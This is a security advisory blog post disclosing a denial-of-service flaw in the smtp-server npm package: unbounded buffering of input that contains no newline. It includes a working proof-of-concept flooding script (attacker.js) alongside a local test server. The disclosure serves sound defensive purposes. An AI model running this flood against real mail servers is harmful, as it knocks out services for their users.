Share

Link copied to clipboard
Memory Exhaustion DoS in smtp-server's Command Parser
Posted in security

Memory Exhaustion DoS in smtp-server's Command Parser

smtp-server's command parser allows remote clients to consume server memory by sending data without newline characters.

Gavin Stuart

Summary

Versions of the smtp-server NPM package prior to v3.18.3 are vulnerable to a DOS attack. smtp-server's command parser allows remote clients to consume server memory by sending data without newline characters. The server's _remainder buffer in SMTPStream._write grows without constraint, leading to heap exhaustion, prolonged GC pauses that freeze the event loop, and in some cases, process crash.

Vulnerable Versions

Versions of smtp-server prior to v3.18.3 are vulnerable.

Details

The vulnerable code is as follows:

if ((match = newlineRegex.exec(data))) {
    line = data.substr(pos, match.index - pos);
    pos += line.length + match[0].length;
} else {
    this._remainder = pos < data.length ? data.substr(pos) : '';
    return done();
}

The _write method in lib/smtp-stream.js appends incoming TCP chunks to this._remainder in command mode. The buffer is only emptied when a newline is found. If a client never sends a newline, the _remainder value will grow indefinitely, causing excess memory consumption. A single connection with modest resources can exhaust the process memory, while multiple connections multiply the effect linearly. The attack is trivial to execute and can be launched by any unauthenticated client that can connect to the server.

PoC

test_server.js

import { SMTPServer } from "smtp-server";
 
const server = new SMTPServer({ authOptional: true, logger: false });
 
 
server.listen(2527, '127.0.0.1', () => {
    console.log('listening on 2527');
    
    let tick = 0;
    setInterval(() => {
        const mb = (process.memoryUsage().rss / 1024 / 1024).toFixed(1);
        console.log(`tick=${++tick}  RSS=${mb} MB`);
    }, 1000);
});
 
server.on('error', err => { console.error(err.message); process.exit(1); });

attacker.js

 
import net from 'node:net';
 
const buff_chunk = Buffer.alloc(64 * 1024, 0x41);
const socket = net.createConnection(2527, '127.0.0.1');
 
socket.once('data', flood);
 
function flood() {
    const ok = socket.write(buff_chunk);
    if (ok) setImmediate(flood);
    else socket.once('drain', flood);
}
 
socket.on('error', err => console.error(err.message));
 

Impact

Who is impacted: Any application using the smtp-server npm package to accept SMTP connections on a public interface. This attack occurs before authentication, so authenticated services offer no protection.

Severity: High. A single connection can exhaust the process memory, while multiple connections multiply the effect linearly. The attack is trivial to execute.

Gavin Stuart

Gavin Stuart

Software Engineering &

Application Security

Share this article

Link copied to clipboard

Copyright © 2026 - Gavin Stuart